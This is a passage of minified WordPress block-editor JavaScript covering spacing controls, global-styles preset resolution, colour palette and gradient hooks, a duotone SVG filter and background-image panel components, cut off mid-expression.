0!==h&&!Sc(h)),[C,B]=(0,u.useState)(n),I=(0,p.usePrevious)(h);h&&I!==h&&!Sc(h)&&!0!==S&&w(!0);const[j]=Vs("spacing.units"),E=(0,ne.__experimentalUseCustomUnits)({availableUnits:j||["px","em","rem"]});let T=null;y||S||void 0===h||!(!Sc(h)||Sc(h)&&t)?t||(T=S?wc(h,a):function(e,t){if(void 0===e)return 0;const n=0===parseFloat(e,10)?"0":Ic(e),o=t.findIndex((e=>String(e.slug)===n));return-1!==o?o:NaN}(h,a)):(_=[...a,{name:t?(0,Je.__)("Mixed"):// translators: %s: A custom measurement, e.g. a number followed by a unit like 12px. // translators: %s: A custom measurement, e.g. a number followed by a unit like 12px. (0,Je.sprintf)((0,Je.__)("Custom (%s)"),h),slug:"custom",size:h}],T=_.length-1);const P=(0,u.useMemo)((()=>(0,ne.__experimentalParseQuantityAndUnitFromRawValue)(T)),[T])[1]||(null===(g=E[0])||void 0===g?void 0:g.value),M=parseFloat(T,10),R=(e,t)=>{var n;const o=parseInt(e,10);if("selectList"===t){if(0===o)return;if(1===o)return"0"}else if(0===o)return"0";return`var:preset|spacing|${null===(n=a[e])||void 0===n?void 0:n.slug}`},N=t?(0,Je.__)("Mixed"):null,A=_.map(((e,t)=>({key:t,name:e.name}))),L=a.slice(1,a.length-1).map(((e,t)=>({value:t+1,label:void 0}))),D=bc.includes(s)&&l?yc[s]:"",O=l?null==c?void 0:c.toLowerCase():c,z=(0,Je.sprintf)(// translators: 1: The side of the block being modified (top, bottom, left etc.). 2. Type of spacing being modified (padding, margin, etc). // translators: 1: The side of the block being modified (top, bottom, left etc.). 2. Type of spacing being modified (padding, margin, etc). (0,Je._x)("%1$s %2$s","spacing"),D,O).trim();return(0,Nt.jsxs)(ne.__experimentalHStack,{className:"spacing-sizes-control__wrapper",children:[e&&(0,Nt.jsx)(ne.Icon,{className:"spacing-sizes-control__icon",icon:e,size:24}),S&&(0,Nt.jsxs)(Nt.Fragment,{children:[(0,Nt.jsx)(ne.__experimentalUnitControl,{onMouseOver:r,onMouseOut:i,onFocus:r,onBlur:i,onChange:e=>o((e=>isNaN(parseFloat(e))?void 0:e)(e)),value:T,units:E,min:C,placeholder:N,disableUnits:t,label:z,hideLabelFromVision:!0,className:"spacing-sizes-control__custom-value-input",size:"__unstable-large",onDragStart:()=>{var e;"-"===(null===(e=h)||void 0===e?void 0:e.charAt(0))&&B(0)},onDrag:()=>{var e;"-"===(null===(e=h)||void 0===e?void 0:e.charAt(0))&&B(0)},onDragEnd:()=>{B(n)}}),(0,Nt.jsx)(ne.RangeControl,{__next40pxDefaultSize:!0,onMouseOver:r,onMouseOut:i,onFocus:r,onBlur:i,value:M,min:0,max:null!==(f=null===(m=lj[P])||void 0===m?void 0:m.max)&&void 0!==f?f:10,step:null!==(v=null===(b=lj[P])||void 0===b?void 0:b.steps)&&void 0!==v?v:.1,withInputField:!1,onChange:e=>{o([e,P].join(""))},className:"spacing-sizes-control__custom-value-range",__nextHasNoMarginBottom:!0,label:z,hideLabelFromVision:!0})]}),y&&!S&&(0,Nt.jsx)(ne.RangeControl,{__next40pxDefaultSize:!0,onMouseOver:r,onMouseOut:i,className:"spacing-sizes-control__range-control",value:T,onChange:e=>o(R(e)),onMouseDown:e=>{var t;(null==e||null===(t=e.nativeEvent)||void 0===t?void 0:t.offsetX)<35&&void 0===h&&o("0")},withInputField:!1,"aria-valuenow":T,"aria-valuetext":null===(k=a[T])||void 0===k?void 0:k.name,renderTooltipContent:e=>{var t;return void 0===h||null===(t=a[e])||void 0===t?void 0:t.name},min:0,max:a.length-1,marks:L,label:z,hideLabelFromVision:!0,__nextHasNoMarginBottom:!0,onFocus:r,onBlur:i}),!y&&!S&&(0,Nt.jsx)(ne.CustomSelectControl,{className:"spacing-sizes-control__custom-select-control",value:A.find((e=>e.key===T))||"",onChange:e=>{o(R(e.selectedItem.key,"selectList"))},options:A,label:z,hideLabelFromVision:!0,size:"__unstable-large",onMouseOver:r,onMouseOut:i,onFocus:r,onBlur:i}),!x&&(0,Nt.jsx)(ne.Button,{label:S?(0,Je.__)("Use size preset"):(0,Je.__)("Set custom size"),icon:rj,onClick:()=>{w(!S)},isPressed:S,size:"small",className:"spacing-sizes-control__custom-toggle",iconSize:24})]})}const aj=["vertical","horizontal"];function cj({minimumCustomValue:e,onChange:t,onMouseOut:n,onMouseOver:o,sides:i,spacingSizes:r,type:l,values:s}){const a=e=>n=>{if(!t)return;const o={...Object.keys(s).reduce(((e,t)=>(e[t]=Cc(s[t],r),e)),{})};"vertical"===e&&(o.top=n,o.bottom=n),"horizontal"===e&&(o.left=n,o.right=n),t(o)},c=null!=i&&i.length?aj.filter((e=>jc(i,e))):aj;return(0,Nt.jsx)(Nt.Fragment,{children:c.map((t=>{const i="vertical"===t?s.top:s.left;return(0,Nt.jsx)(sj,{icon:_c[t],label:yc[t],minimumCustomValue:e,onChange:a(t),onMouseOut:n,onMouseOver:o,side:t,spacingSizes:r,type:l,value:i,withInputField:!1},`spacing-sizes-control-${t}`)}))})}function uj({minimumCustomValue:e,onChange:t,onMouseOut:n,onMouseOver:o,sides:i,spacingSizes:r,type:l,values:s}){const a=null!=i&&i.length?bc.filter((e=>i.includes(e))):bc,c=e=>n=>{const o={...Object.keys(s).reduce(((e,t)=>(e[t]=Cc(s[t],r),e)),{})};o[e]=n,t(o)};return(0,Nt.jsx)(Nt.Fragment,{children:a.map((t=>(0,Nt.jsx)(sj,{icon:_c[t],label:yc[t],minimumCustomValue:e,onChange:c(t),onMouseOut:n,onMouseOver:o,side:t,spacingSizes:r,type:l,value:s[t],withInputField:!1},`spacing-sizes-control-${t}`)))})}function dj({minimumCustomValue:e,onChange:t,onMouseOut:n,onMouseOver:o,showSideInLabel:i,side:r,spacingSizes:l,type:s,values:a}){return(0,Nt.jsx)(sj,{label:yc[r],minimumCustomValue:e,onChange:(c=r,e=>{const n={...Object.keys(a).reduce(((e,t)=>(e[t]=Cc(a[t],l),e)),{})};n[c]=e,t(n)}),onMouseOut:n,onMouseOver:o,showSideInLabel:i,side:r,spacingSizes:l,type:s,value:a[r],withInputField:!1});var c}function pj({isLinked:e,...t}){const n=e?(0,Je.__)("Unlink sides"):(0,Je.__)("Link sides");return(0,Nt.jsx)(ne.Button,{...t,size:"small",icon:e?LS:DS,iconSize:24,label:n})}function hj({inputProps:e,label:t,minimumCustomValue:n=0,onChange:o,onMouseOut:i,onMouseOver:r,showSideInLabel:l=!0,sides:s=bc,useSelect:a,values:c}){const d=ij(),p=c||kc,h=1===(null==s?void 0:s.length),g=(null==s?void 0:s.includes("horizontal"))&&(null==s?void 0:s.includes("vertical"))&&2===(null==s?void 0:s.length),[f,m]=(0,u.useState)(function(e={},t){const{top:n,right:o,bottom:i,left:r}=e,l=[n,o,i,r].filter(Boolean),s=!(n!==i||r!==o||!n&&!r),a=!l.length&&function(e=[]){const t={top:0,right:0,bottom:0,left:0};return e.forEach((e=>t[e]+=1)),(t.top+t.bottom)%2==0&&(t.left+t.right)%2==0}(t),c=(null==t?void 0:t.includes("horizontal"))&&(null==t?void 0:t.includes("vertical"))&&2===(null==t?void 0:t.length);if(jc(t)&&(s||a))return xc.axial;if(c&&1===l.length){let t;return Object.entries(e).some((([e,n])=>(t=e,void 0!==n))),t}return 1!==(null==t?void 0:t.length)||l.length?xc.custom:t[0]}(p,s)),v={...e,minimumCustomValue:n,onChange:e=>{const t={...c,...e};o(t)},onMouseOut:i,onMouseOver:r,sides:s,spacingSizes:d,type:t,useSelect:a,values:p},b=bc.includes(f)&&l?yc[f]:"",k=(0,Je.sprintf)(// translators: 1: The side of the block being modified (top, bottom, left etc.). 2. Type of spacing being modified (padding, margin, etc). // translators: 1: The side of the block being modified (top, bottom, left etc.). 2. Type of spacing being modified (padding, margin, etc). (0,Je._x)("%1$s %2$s","spacing"),t,b).trim();return(0,Nt.jsxs)("fieldset",{className:"spacing-sizes-control",children:[(0,Nt.jsxs)(ne.__experimentalHStack,{className:"spacing-sizes-control__header",children:[(0,Nt.jsx)(ne.BaseControl.VisualLabel,{as:"legend",className:"spacing-sizes-control__label",children:k}),!h&&!g&&(0,Nt.jsx)(pj,{label:t,onClick:()=>{m(f===xc.axial?xc.custom:xc.axial)},isLinked:f===xc.axial})]}),(0,Nt.jsx)(ne.__experimentalVStack,{spacing:.5,children:f===xc.axial?(0,Nt.jsx)(cj,{...v}):f===xc.custom?(0,Nt.jsx)(uj,{...v}):(0,Nt.jsx)(dj,{side:f,...v,showSideInLabel:l})})]})}function gj(){return Ye()("wp.blockEditor.PreviewOptions",{version:"6.5"}),null}function fj(e){const[t,n]=(0,u.useState)(window.innerWidth);(0,u.useEffect)((()=>{if("Desktop"===e)return;const t=()=>n(window.innerWidth);return window.addEventListener("resize",t),()=>{window.removeEventListener("resize",t)}}),[e]);const o=(0,u.useCallback)((e=>{let n;switch(e){case"Tablet":n=780;break;case"Mobile":n=412;break;default:return null}return n<t?n:t}),[t]);return(0,u.useMemo)((()=>{const t=`min( calc(100% - 30px), ${"Mobile"===e?"768px":"1200px"})`;switch(e){case"Tablet":case"Mobile":return{width:o(e),flexGrow:0,height:t,maxHeight:"100%",borderRadius:"4px"};default:return{width:"100%",flexGrow:0,height:"100%",maxHeight:"100%",borderRadius:"0px"}}}),[e,o])}function mj(e,t){var n,o,i,r,l,s,a;const{size:c}=e;if(!c||"0"===c||!1===(null==e?void 0:e.fluid))return c;if(!vj(null==t?void 0:t.typography)&&!vj(e))return c;let u=function(e){const t=null==e?void 0:e.typography,n=null==e?void 0:e.layout,o=ua(null==n?void 0:n.wideSize)?null==n?void 0:n.wideSize:null;return vj(t)&&o?{fluid:{maxViewportWidth:o,...t.fluid}}:{fluid:null==t?void 0:t.fluid}}(t);u="object"==typeof(null===(n=u)||void 0===n?void 0:n.fluid)?null===(o=u)||void 0===o?void 0:o.fluid:{};return ca({minimumFontSize:null==e||null===(i=e.fluid)||void 0===i?void 0:i.min,maximumFontSize:null==e||null===(r=e.fluid)||void 0===r?void 0:r.max,fontSize:c,minimumFontSizeLimit:null===(l=u)||void 0===l?void 0:l.minFontSize,maximumViewportWidth:null===(s=u)||void 0===s?void 0:s.maxViewportWidth,minimumViewportWidth:null===(a=u)||void 0===a?void 0:a.minViewportWidth})||c}function vj(e){const t=null==e?void 0:e.fluid;return!0===t||t&&"object"==typeof t&&Object.keys(t).length>0}function bj(e,t){var n;return(t="number"==typeof t?t.toString():t)&&"string"==typeof t?e&&0!==e.length?null==e?void 0:e.reduce(((e,{value:n})=>Math.abs(parseInt(n)-parseInt(t))<Math.abs(parseInt(e)-parseInt(t))?n:e),null===(n=e[0])||void 0===n?void 0:n.value):t:""}const kj="body",_j=":root",yj=[{path:["color","palette"],valueKey:"color",cssVarInfix:"color",classes:[{classSuffix:"color",propertyName:"color"},{classSuffix:"background-color",propertyName:"background-color"},{classSuffix:"border-color",propertyName:"border-color"}]},{path:["color","gradients"],valueKey:"gradient",cssVarInfix:"gradient",classes:[{classSuffix:"gradient-background",propertyName:"background"}]},{path:["color","duotone"],valueKey:"colors",cssVarInfix:"duotone",valueFunc:({slug:e})=>`url( '#wp-duotone-${e}' )`,classes:[]},{path:["shadow","presets"],valueKey:"shadow",cssVarInfix:"shadow",classes:[]},{path:["typography","fontSizes"],valueFunc:(e,t)=>mj(e,t),valueKey:"size",cssVarInfix:"font-size",classes:[{classSuffix:"font-size",propertyName:"font-size"}]},{path:["typography","fontFamilies"],valueKey:"fontFamily",cssVarInfix:"font-family",classes:[{classSuffix:"font-family",propertyName:"font-family"}]},{path:["spacing","spacingSizes"],valueKey:"size",cssVarInfix:"spacing",valueFunc:({size:e})=>e,classes:[]}],xj={"color.background":"color","color.text":"color","filter.duotone":"duotone","elements.link.color.text":"color","elements.link.:hover.color.text":"color","elements.link.typography.fontFamily":"font-family","elements.link.typography.fontSize":"font-size","elements.button.color.text":"color","elements.button.color.background":"color","elements.caption.color.text":"color","elements.button.typography.fontFamily":"font-family","elements.button.typography.fontSize":"font-size","elements.heading.color":"color","elements.heading.color.background":"color","elements.heading.typography.fontFamily":"font-family","elements.heading.gradient":"gradient","elements.heading.color.gradient":"gradient","elements.h1.color":"color","elements.h1.color.background":"color","elements.h1.typography.fontFamily":"font-family","elements.h1.color.gradient":"gradient","elements.h2.color":"color","elements.h2.color.background":"color","elements.h2.typography.fontFamily":"font-family","elements.h2.color.gradient":"gradient","elements.h3.color":"color","elements.h3.color.background":"color","elements.h3.typography.fontFamily":"font-family","elements.h3.color.gradient":"gradient","elements.h4.color":"color","elements.h4.color.background":"color","elements.h4.typography.fontFamily":"font-family","elements.h4.color.gradient":"gradient","elements.h5.color":"color","elements.h5.color.background":"color","elements.h5.typography.fontFamily":"font-family","elements.h5.color.gradient":"gradient","elements.h6.color":"color","elements.h6.color.background":"color","elements.h6.typography.fontFamily":"font-family","elements.h6.color.gradient":"gradient","color.gradient":"gradient",shadow:"shadow","typography.fontSize":"font-size","typography.fontFamily":"font-family"},Sj={popoverProps:{placement:"right-start",offset:25}},wj={popoverProps:{placement:"right-start",offset:300}};function Cj(e,t,n,o,i){const r=[Gt(e,["blocks",t,...n]),Gt(e,n)];for(const l of r)if(l){const r=["custom","theme","default"];for(const s of r){const r=l[s];if(r){const l=r.find((e=>e[o]===i));if(l)return"slug"===o||Cj(e,t,n,"slug",l.slug)[o]===l[o]?l:void 0}}}}function Bj(e,t,n){if(!n||"string"!=typeof n){var o,i;if("string"!=typeof(null===(o=n)||void 0===o?void 0:o.ref))return n;if(!(n=Gt(e,n.ref))||null!==(i=n)&&void 0!==i&&i.ref)return n}let r;if(n.startsWith("var:"))r=n.slice(4).split("|");else{if(!n.startsWith("var(--wp--")||!n.endsWith(")"))return n;r=n.slice(10,-1).split("--")}const[l,...s]=r;return"preset"===l?function(e,t,n,[o,i]){const r=yj.find((e=>e.cssVarInfix===o));if(!r)return n;const l=Cj(e.settings,t,r.path,"slug",i);if(l){const{valueKey:n}=r;return Bj(e,t,l[n])}return n}(e,t,n,s):"custom"===l?function(e,t,n,o){var i;const r=null!==(i=Gt(e.settings,["blocks",t,"custom",...o]))&&void 0!==i?i:Gt(e.settings,["custom",...o]);return r?Bj(e,t,r):n}(e,t,n,s):n}function Ij(e,t){if(!e||!t)return t;const n=e.split(","),o=t.split(","),i=[];return n.forEach((e=>{o.forEach((t=>{i.push(`${e.trim()} ${t.trim()}`)}))})),i.join(", ")}function jj(e,t){return"object"!=typeof e||"object"!=typeof t?e===t:pg()(null==e?void 0:e.styles,null==t?void 0:t.styles)&&pg()(null==e?void 0:e.settings,null==t?void 0:t.settings)}function Ej(e,t){if(!e||!t)return e;const n=function(e,t){if(!e||!t)return e;if("string"!=typeof e&&null!=e&&e.ref){const n=qc(Gt(t,e.ref));if(null!=n&&n.ref)return;return void 0===n?e:n}return e}(e,t);var o;return null!=n&&n.url&&(n.url=function(e,t){if(!e||!t||!Array.isArray(t))return e;const n=t.find((t=>(null==t?void 0:t.name)===e));return null!=n&&n.href?null==n?void 0:n.href:e}(n.url,null==t||null===(o=t._links)||void 0===o?void 0:o["wp:theme-file"])),n}const Tj={settings:{},styles:{}},Pj=["appearanceTools","useRootPaddingAwareAlignments","background.backgroundImage","background.backgroundRepeat","background.backgroundSize","background.backgroundPosition","border.color","border.radius","border.style","border.width","shadow.presets","shadow.defaultPresets","color.background","color.button","color.caption","color.custom","color.customDuotone","color.customGradient","color.defaultDuotone","color.defaultGradients","color.defaultPalette","color.duotone","color.gradients","color.heading","color.link","color.palette","color.text","custom","dimensions.aspectRatio","dimensions.minHeight","layout.contentSize","layout.definitions","layout.wideSize","lightbox.enabled","lightbox.allowEditing","position.fixed","position.sticky","spacing.customSpacingSize","spacing.defaultSpacingSizes","spacing.spacingSizes","spacing.spacingScale","spacing.blockGap","spacing.margin","spacing.padding","spacing.units","typography.fluid","typography.customFontSize","typography.defaultFontSizes","typography.dropCap","typography.fontFamilies","typography.fontSizes","typography.fontStyle","typography.fontWeight","typography.letterSpacing","typography.lineHeight","typography.textAlign","typography.textColumns","typography.textDecoration","typography.textTransform","typography.writingMode"],Mj=()=>{const{user:e,setUserConfig:t}=(0,u.useContext)(xS),n={settings:e.settings,styles:e.styles};return[!!n&&!pg()(n,Tj),(0,u.useCallback)((()=>t(Tj)),[t])]};function Rj(e,t,n="all"){const{setUserConfig:o,...i}=(0,u.useContext)(xS),r=t?".blocks."+t:"",l=e?"."+e:"",s=`settings${r}${l}`,a=`settings${l}`,c="all"===n?"merged":n;return[(0,u.useMemo)((()=>{const t=i[c];if(!t)throw"Unsupported source";var n;if(e)return null!==(n=Gt(t,s))&&void 0!==n?n:Gt(t,a);let o={};return Pj.forEach((e=>{var n;const i=null!==(n=Gt(t,`settings${r}.${e}`))&&void 0!==n?n:Gt(t,`settings.${e}`);void 0!==i&&(o=Ht(o,e.split("."),i))})),o}),[i,c,e,s,a,r]),e=>{o((t=>Ht(t,s.split("."),e)))}]}function Nj(e,t,n="all",{shouldDecodeEncode:o=!0}={}){const{merged:i,base:r,user:l,setUserConfig:s}=(0,u.useContext)(xS),a=e?"."+e:"",c=t?`styles.blocks.${t}${a}`:`styles${a}`;let d,p;switch(n){case"all":d=Gt(i,c),p=o?Bj(i,t,d):d;break;case"user":d=Gt(l,c),p=o?Bj(i,t,d):d;break;case"base":d=Gt(r,c),p=o?Bj(r,t,d):d;break;default:throw"Unsupported source"}return[p,n=>{s((r=>Ht(r,c.split("."),o?function(e,t,n,o){if(!o)return o;const i=xj[n],r=yj.find((e=>e.cssVarInfix===i));if(!r)return o;const{valueKey:l,path:s}=r,a=Cj(e,t,s,l,o);return a?`var:preset|${i}|${a.slug}`:o}(i.settings,t,e,n):n)))}]}function Aj(e,t,n){const{supportedStyles:o,supports:i}=(0,d.useSelect)((e=>{var o;return{supportedStyles:ge(e(c.store)).getSupportedStyles(t,n),supports:null===(o=e(c.store).getBlockType(t))||void 0===o?void 0:o.supports}}),[t,n]);return(0,u.useMemo)((()=>{var t,r,l,s,a,c;const u={...e};return o.includes("fontSize")||(u.typography={...u.typography,fontSizes:{},customFontSize:!1,defaultFontSizes:!1}),o.includes("fontFamily")||(u.typography={...u.typography,fontFamilies:{}}),u.color={...u.color,text:(null===(t=u.color)||void 0===t?void 0:t.text)&&o.includes("color"),background:(null===(r=u.color)||void 0===r?void 0:r.background)&&(o.includes("background")||o.includes("backgroundColor")),button:(null===(l=u.color)||void 0===l?void 0:l.button)&&o.includes("buttonColor"),heading:(null===(s=u.color)||void 0===s?void 0:s.heading)&&o.includes("headingColor"),link:(null===(a=u.color)||void 0===a?void 0:a.link)&&o.includes("linkColor"),caption:(null===(c=u.color)||void 0===c?void 0:c.caption)&&o.includes("captionColor")},o.includes("background")||(u.color.gradients=[],u.color.customGradient=!1),o.includes("filter")||(u.color.defaultDuotone=!1,u.color.customDuotone=!1),["lineHeight","fontStyle","fontWeight","letterSpacing","textAlign","textTransform","textDecoration","writingMode"].forEach((e=>{o.includes(e)||(u.typography={...u.typography,[e]:!1})})),o.includes("columnCount")||(u.typography={...u.typography,textColumns:!1}),["contentSize","wideSize"].forEach((e=>{o.includes(e)||(u.layout={...u.layout,[e]:!1})})),["padding","margin","blockGap"].forEach((e=>{var t,n,r,l,s;o.includes(e)||(u.spacing={...u.spacing,[e]:!1});const a=Array.isArray(null==i||null===(t=i.spacing)||void 0===t?void 0:t[e])?null==i||null===(n=i.spacing)||void 0===n?void 0:n[e]:null==i||null===(r=i.spacing)||void 0===r||null===(l=r[e])||void 0===l?void 0:l.sides;var c;null!=a&&a.length&&null!==(s=u.spacing)&&void 0!==s&&s[e]&&(u.spacing={...u.spacing,[e]:{...null===(c=u.spacing)||void 0===c?void 0:c[e],sides:a}})})),["aspectRatio","minHeight"].forEach((e=>{o.includes(e)||(u.dimensions={...u.dimensions,[e]:!1})})),["radius","color","style","width"].forEach((e=>{o.includes("border"+e.charAt(0).toUpperCase()+e.slice(1))||(u.border={...u.border,[e]:!1})})),["backgroundImage","backgroundSize"].forEach((e=>{o.includes(e)||(u.background={...u.background,[e]:!1})})),u.shadow=!!o.includes("shadow")&&u.shadow,n&&(u.typography.textAlign=!1),u}),[e,o,i,n])}function Lj(e){var t,n,o,i,r,l,s;const a=null==e||null===(t=e.color)||void 0===t||null===(n=t.palette)||void 0===n?void 0:n.custom,c=null==e||null===(o=e.color)||void 0===o||null===(i=o.palette)||void 0===i?void 0:i.theme,d=null==e||null===(r=e.color)||void 0===r||null===(l=r.palette)||void 0===l?void 0:l.default,p=null==e||null===(s=e.color)||void 0===s?void 0:s.defaultPalette;return(0,u.useMemo)((()=>{const e=[];return c&&c.length&&e.push({name:(0,Je._x)("Theme","Indicates this palette comes from the theme."),colors:c}),p&&d&&d.length&&e.push({name:(0,Je._x)("Default","Indicates this palette comes from WordPress."),colors:d}),a&&a.length&&e.push({name:(0,Je._x)("Custom","Indicates this palette is created by the user."),colors:a}),e}),[a,c,d,p])}function Dj(e){var t,n,o,i,r,l,s;const a=null==e||null===(t=e.color)||void 0===t||null===(n=t.gradients)||void 0===n?void 0:n.custom,c=null==e||null===(o=e.color)||void 0===o||null===(i=o.gradients)||void 0===i?void 0:i.theme,d=null==e||null===(r=e.color)||void 0===r||null===(l=r.gradients)||void 0===l?void 0:l.default,p=null==e||null===(s=e.color)||void 0===s?void 0:s.defaultGradients;return(0,u.useMemo)((()=>{const e=[];return c&&c.length&&e.push({name:(0,Je._x)("Theme","Indicates this palette comes from the theme."),gradients:c}),p&&d&&d.length&&e.push({name:(0,Je._x)("Default","Indicates this palette comes from WordPress."),gradients:d}),a&&a.length&&e.push({name:(0,Je._x)("Custom","Indicates this palette is created by the user."),gradients:a}),e}),[a,c,d,p])}function Oj(e,t="root",n={}){if(!t)return null;const{fallback:o=!1}=n,{name:i,selectors:r,supports:l}=e,s=r&&Object.keys(r).length>0,a=Array.isArray(t)?t.join("."):t;let c=null;if(c=s&&r.root?null==r?void 0:r.root:null!=l&&l.__experimentalSelector?l.__experimentalSelector:".wp-block-"+i.replace("core/","").replace("/","-"),"root"===a)return c;const u=Array.isArray(t)?t:t.split(".");if(1===u.length){const e=o?c:null;if(s)return Gt(r,`${a}.root`,null)||Gt(r,a,null)||e;const t=Gt(l,`${a}.__experimentalSelector`,null);return t?Ij(c,t):e}let d;return s&&(d=Gt(r,a,null)),d||(o?Oj(e,u[0],n):null)}function zj(e){return`${e}{filter:none}`}function Fj(e,t){return`${e}{filter:url(#${t})}`}function Vj(e,t){const n=function(e=[]){const t={r:[],g:[],b:[],a:[]};return e.forEach((e=>{const n=q(e).toRgb();t.r.push(n.r/255),t.g.push(n.g/255),t.b.push(n.b/255),t.a.push(n.a)})),t}(t);return`\n<svg\n\txmlns:xlink="http://www.w3.org/1999/xlink"\n\tviewBox="0 0 0 0"\n\twidth="0"\n\theight="0"\n\tfocusable="false"\n\trole="none"\n\taria-hidden="true"\n\tstyle="visibility: hidden; position: absolute; left: -9999px; overflow: hidden;"\n>\n\t<defs>\n\t\t<filter id="${e}">\n\t\t\t\x3c!--\n\t\t\t\tUse sRGB instead of linearRGB so transparency looks correct.\n\t\t\t\tUse perceptual brightness to convert to grayscale.\n\t\t\t--\x3e\n\t\t\t<feColorMatrix color-interpolation-filters="sRGB" type="matrix" values=" .299 .587 .114 0 0 .299 .587 .114 0 0 .299 .587 .114 0 0 .299 .587 .114 0 0 "></feColorMatrix>\n\t\t\t\x3c!-- Use sRGB instead of linearRGB to be consistent with how CSS gradients work. --\x3e\n\t\t\t<feComponentTransfer color-interpolation-filters="sRGB">\n\t\t\t\t<feFuncR type="table" tableValues="${n.r.join(" ")}"></feFuncR>\n\t\t\t\t<feFuncG type="table" tableValues="${n.g.join(" ")}"></feFuncG>\n\t\t\t\t<feFuncB type="table" tableValues="${n.b.join(" ")}"></feFuncB>\n\t\t\t\t<feFuncA type="table" tableValues="${n.a.join(" ")}"></feFuncA>\n\t\t\t</feComponentTransfer>\n\t\t\t\x3c!-- Re-mask the image with the original transparency since the feColorMatrix above loses that information. --\x3e\n\t\t\t<feComposite in2="SourceGraphic" operator="in"></feComposite>\n\t\t</filter>\n\t</defs>\n</svg>`}const Hj=window.wp.blob,Gj="image",$j={placement:"left-start",offset:36,shift:!0,className:"block-editor-global-styles-background-panel__popover"},Uj=()=>{},Wj=e=>{if(!(!e||isNaN(e.x)&&isNaN(e.y)))return`${100*(isNaN(e.x)?.5:e.x)}% ${100*(isNaN(e.y)?.5:e.y)}%`},Kj=e=>{if(!e)return{x:void 0,y:void 0};let[t,n]=e.split(" ").map((e=>parseFloat(e)/100));return t=isNaN(t)?void 0:t,n=isNaN(n)?t:n,{x:t,y:n}};function Zj({as:e="span",imgUrl:t,toggleProps:n={},filename:o,label:i,className:r,onToggleCallback:l=Uj}){return(0,u.useEffect)((()=>{void 0!==(null==n?void 0:n.isOpen)&&l(null==n?void 0:n.isOpen)}),[null==n?void 0:n.isOpen,l]),(0,Nt.jsx)(ne.__experimentalItemGroup,{as:e,className:r,...n,children:(0,Nt.jsxs)(ne.__experimentalHStack,{justify:"flex-start",as:"span",className:"block-editor-global-styles-background-panel__inspector-preview-inner",children:[t&&(0,Nt.jsx)("span",{className:"block-editor-global-styles-background-panel__inspector-image-indicator-wrapper","aria-hidden":!0,children:(0,Nt.jsx)("span",{className:"block-editor-global-styles-background-panel__inspector-image-indicator",style:{backgroundImage:`url(${t})`}})}),(0,Nt.jsxs)(ne.FlexItem,{as:"span",style:t?{}:{flexGrow:1},children:[(0,Nt.jsx)(ne.__experimentalTruncate,{numberOfLines:1,className:"block-editor-global-styles-background-panel__inspector-media-replace-title",children:i}),(0,Nt.jsx)(ne.VisuallyHidden,{as:"span",children:t?(0,Je.sprintf)(/* translators: %s: file name */ /* translators: %s: file name */(0,Je.__)("Background image: %s"),o||i):(0,Je.__)("No background image selected")})]})]})})}function qj({label:e,filename:t,url:n,children:o,onToggle:i=Uj,hasImageValue:r}){if(!r)return;const l=e||(0,$n.getFilename)(n)||(0,Je.__)("Add background image");return(0,Nt.jsx)(ne.Dropdown,{popoverProps:$j,renderToggle:({onToggle:e,isOpen:o})=>{const r={onClick:e,className:"block-editor-global-styles-background-panel__dropdown-toggle","aria-expanded":o,"aria-label":(0,Je.__)("Background size, position and repeat options."),isOpen:o};return(0,Nt.jsx)(Zj,{imgUrl:n,filename:t,label:l,toggleProps:r,as:"button",onToggleCallback:i})},renderContent:()=>(0,Nt.jsx)(ne.__experimentalDropdownContentWrapper,{className:"block-editor-global-styles-background-panel__dropdown-content-wrapper",paddingSize:"medium",children:o})})}function Yj(){return(0,Nt.jsx)(ne.Placeholder,{className:"block-editor-global-styles-background-panel__loading",children:(0,Nt.jsx)(ne.Spinner,{})})}function Xj({onChange:e,style:t,inheritedValue:n,onRemoveImage:o=Uj,onResetImage:i=Uj,displayInPanel:r,defaultValues:l}){var s,a;const[c,p]=(0,u.useState)(!1),{getSettings:h}=(0,d.useSelect)(hs),{id:g,title:f,url:m}=(null==t||null===(s=t.background)||void 0===s?void 0:s.backgroundImage)||{...null==n||null===(a=n.background)||void 0===a?void 0:a.backgroundImage},v=(0,u.useRef)(),{createErrorNotice:b}=(0,d.useDispatch)($p.store),k=e=>{b(e,{type:"snackbar"}),p(!1)},_=n=>{var o,i;if(!n||!n.url)return e(Ht(t,["background","backgroundImage"],void 0)),void p(!1);if((0,Hj.isBlobURL)(n.url))return void p(!0);if(n.media_type&&n.media_type!==Gj||!n.media_type&&n.type&&n.type!==Gj)return void k((0,Je.__)("Only images can be used as a background image."));const r=(null==t||null===(o=t.background)||void 0===o?void 0:o.backgroundSize)||(null==l?void 0:l.backgroundSize),s=null==t||null===(i=t.background)||void 0===i?void 0:i.backgroundPosition;e(Ht(t,["background"],{...null==t?void 0:t.background,backgroundImage:{url:n.url,id:n.id,source:"file",title:n.title||void 0},backgroundPosition:s||"auto"!==r&&r?s:"50% 0",backgroundSize:r})),p(!1)},y=nE(t),x=()=>{const[e]=Cp.focus.tabbable.find(v.current);null==e||e.focus(),null==e||e.click()},S=!y&&nE(n),w=f||(0,$n.getFilename)(m)||(0,Je.__)("Add background image");return(0,Nt.jsxs)("div",{ref:v,className:"block-editor-global-styles-background-panel__image-tools-panel-item",children:[c&&(0,Nt.jsx)(Yj,{}),(0,Nt.jsx)(_B,{mediaId:g,mediaURL:m,allowedTypes:[Gj],accept:"image/*",onSelect:_,popoverProps:{className:ms({"block-editor-global-styles-background-panel__media-replace-popover":r})},name:(0,Nt.jsx)(Zj,{className:"block-editor-global-styles-background-panel__image-preview",imgUrl:m,filename:f,label:w}),renderToggle:e=>(0,Nt.jsx)(ne.Button,{...e,__next40pxDefaultSize:!0}),onError:k,onReset:()=>{x(),i()},children:S&&(0,Nt.jsx)(ne.MenuItem,{onClick:()=>{x(),e(Ht(t,["background"],{backgroundImage:"none"})),o()},children:(0,Je.__)("Remove")})}),(0,Nt.jsx)(ne.DropZone,{onFilesDrop:e=>{h().mediaUpload({allowedTypes:[Gj],filesList:e,onFileChange([e]){_(e)},onError:k,multiple:!1})},label:(0,Je.__)("Drop to upload")})]})}function Qj({onChange:e,style:t,inheritedValue:n,defaultValues:o}){var i,r,l,s,a,c,u,d,p,h,g,f,m,v;const b=(null==t||null===(i=t.background)||void 0===i?void 0:i.backgroundSize)||(null==n||null===(r=n.background)||void 0===r?void 0:r.backgroundSize),k=(null==t||null===(l=t.background)||void 0===l?void 0:l.backgroundRepeat)||(null==n||null===(s=n.background)||void 0===s?void 0:s.backgroundRepeat),_=(null==t||null===(a=t.background)||void 0===a||null===(c=a.backgroundImage)||void 0===c?void 0:c.url)||(null==n||null===(u=n.background)||void 